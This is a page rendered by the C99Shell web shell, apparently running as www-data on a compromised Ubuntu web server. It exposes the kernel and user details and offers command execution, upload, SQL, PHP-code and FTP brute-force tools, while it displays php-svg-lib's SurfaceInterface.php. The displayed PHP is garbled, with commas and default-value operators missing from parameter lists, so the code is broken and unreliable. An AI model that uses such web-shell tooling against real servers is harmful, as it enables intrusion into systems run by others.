!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phenx/php-svg-lib/src/Svg/Surface/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SurfaceInterface.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package php-svg-lib
 * @link    http://github.com/PhenX/php-svg-lib
 * @author  Fabien M�nager <fabien.menager@gmail.com>
 * @license GNU LGPLv3+ http://www.gnu.org/copyleft/lesser.html
 */

namespace Svg\Surface;

use 
Svg\Style;

/**
 * Interface Surface, like CanvasRenderingContext2D
 *
 * @package Svg
 */
interface SurfaceInterface
{
    public function 
save();

    public function 
restore();

    
// transformations (default transform is the identity matrix)
    
public function scale($x$y);

    public function 
rotate($angle);

    public function 
translate($x$y);

    public function 
transform($a$b$c$d$e$f);

    
// path ends
    
public function beginPath();

    public function 
closePath();

    public function 
fill();

    public function 
stroke();

    public function 
endPath();

    public function 
fillStroke();

    public function 
clip();

    
// text (see also the CanvasDrawingStyles interface)
    
public function fillText($text$x$y$maxWidth null);

    public function 
strokeText($text$x$y$maxWidth null);

    public function 
measureText($text);

    
// drawing images
    
public function drawImage($image$sx$sy$sw null$sh null$dx null$dy null$dw null$dh null);

    
// paths
    
public function lineTo($x$y);

    public function 
moveTo($x$y);

    public function 
quadraticCurveTo($cpx$cpy$x$y);

    public function 
bezierCurveTo($cp1x$cp1y$cp2x$cp2y$x$y);

    public function 
arcTo($x1$y1$x2$y2$radius);

    public function 
circle($x$y$radius);

    public function 
arc($x$y$radius$startAngle$endAngle$anticlockwise false);

    public function 
ellipse($x$y$radiusX$radiusY$rotation$startAngle$endAngle$anticlockwise);

    
// Rectangle
    
public function rect($x$y$w$h$rx 0$ry 0);

    public function 
fillRect($x$y$w$h);

    public function 
strokeRect($x$y$w$h);

    public function 
setStyle(Style $style);

    
/**
     * @return Style
     */
    
public function getStyle();

    public function 
setFont($family$style$weight);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0227 ]--